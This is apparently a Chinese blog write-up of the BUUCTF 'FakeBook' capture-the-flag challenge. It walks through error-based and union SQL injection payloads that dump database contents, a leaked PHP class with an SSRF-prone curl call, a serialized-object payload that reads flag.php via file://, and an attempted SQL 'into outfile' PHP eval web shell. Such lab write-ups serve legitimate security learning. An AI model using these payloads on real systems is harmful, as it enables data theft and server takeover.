写在前面:BUUCTF限制了请求速率,所以扫描工具不太好使,但是字典数量巨大,因此有些文件路径是真的不太好扫出来的🥶
FakeBook
信息收集
预期解
登录/注册
Sql注入
登录和注册位置都没试出注入点
注册反而遇到点问题,后面路径发现源码才知道blog要些xx.xx的格式
发现注入点,过滤了union select能通过/**/替代空格绕过,也可以通过报错注入,以下会提供两种方式
# 方法1 报错注入
# 查字段数
?no=-1 order by 4
# 爆库名
?no=1 and updatexml(1,concat('~',database()),1)
# 表名
?no=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
# 查字段
?no=1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database())),1)
# 返回:[*] query error! (XPATH syntax error:
'~no,username,passwd,data')
# 查内容一个个看
?no=1 and updatexml(1,concat('~',(select data from fakebook.users)),1)
# 方法2 /**/ 替换空格
# 顺便确认了字段2是回显位置
?no=-1 union/**/select 1,2,3,4
# 爆表
?no=-1
union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
# 查字段
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'#
# 查内容
?no=-1 union/**/select 1,group_concat('~',no,username,passwd,data,'~'),3,4 from fakebook.users#

测试过程中发现有反序列化函数
路径
源码泄漏 user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); # curl $url
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);# 相当于直接将请求内容echo
$output = curl_exec($ch); # 执行curl
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}

通过分析代码结合页面可以知道blog是通过getBlogContents()返回的,这个方法里面又是通过curl_exec($this->blog)返回,结合前面报错提示的unserialize和data字段,可以得出data就是序列化的class UserInfo,将数据填入age,blog,contents
payload
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
}
$a = new UserInfo();
$a->name='1';
$a->blog='file:///var/www/html/flag.php'; #这是扫描得出的位置
echo serialize($a);
>?
O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:0;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}
现在有payload但是不知道哪个字段才是对应getBlogContents()那就一个个实验,直到4才是
?no=-1 union/**/select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:0;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’
知识补充
(PHP 4 >= 4.0.2, PHP 5)
curl_init — 初始化一个cURL会话
说明
resource curl_init ([ string $url = NULL ] )
初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。
参数
url
如果提供了该参数,CURLOPT_URL 选项将会被设置成这个值。你也可以使用curl_setopt()函数手动地设置这个值。
返回值
如果成功,返回一个cURL句柄,出错返回 FALSE。
实例
初始化一个新的cURL会话并获取一个网页,可以结合php伪协议实现读取文件
<?php
// 创建一个新cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.runoob.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
?>
PHP cURL参考手册](https://www.runoob.com/php/php-curl.html)
非预期解
sqli
# 查询用户
?no=-1 union/**/select 1,user(),3,4--+
权限是root,既然是最高权限,那可以尝试直接读写文件
load_file()
有权限:当前用户有权限读取文件,数据库用户有FILE权限,File_priv为yes
服务器上:文件在服务器上(就是存在这个文件)
路径完整:读取文件的路径要是完整的
文件不超额:文件大小小于max_sllowed_packet
限制:secure_file_priv值为空(若值为某目录,只能对该目录的文件操作)
————————————————
版权声明:本文为CSDN博主「黑色地带(崛起)」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_53079406/article/details/125044475


拓展 写shell(失败)
payload:
http://f4970ae7-d980-4d26-9886-718cd411733e.node4.buuoj.cn:81/view.php?no=-1 union/**/select 1,‘<?php @eval($_POST["cmd"]); ?>’,3,4 into outfile ‘/var/www/html/1.php’
本文详细介绍了参与BUUCTF中Fakebook挑战的过程,涉及信息收集、SQL注入、源码泄漏和非预期解等内容。作者通过登录注册环节的SQL注入,发现反序列化函数,并利用payload读取了flag.php。同时,文章还提到了PHP cURL的使用和文件读写尝试。

PHP cURL参考手册

1099

被折叠的 条评论
为什么被折叠?



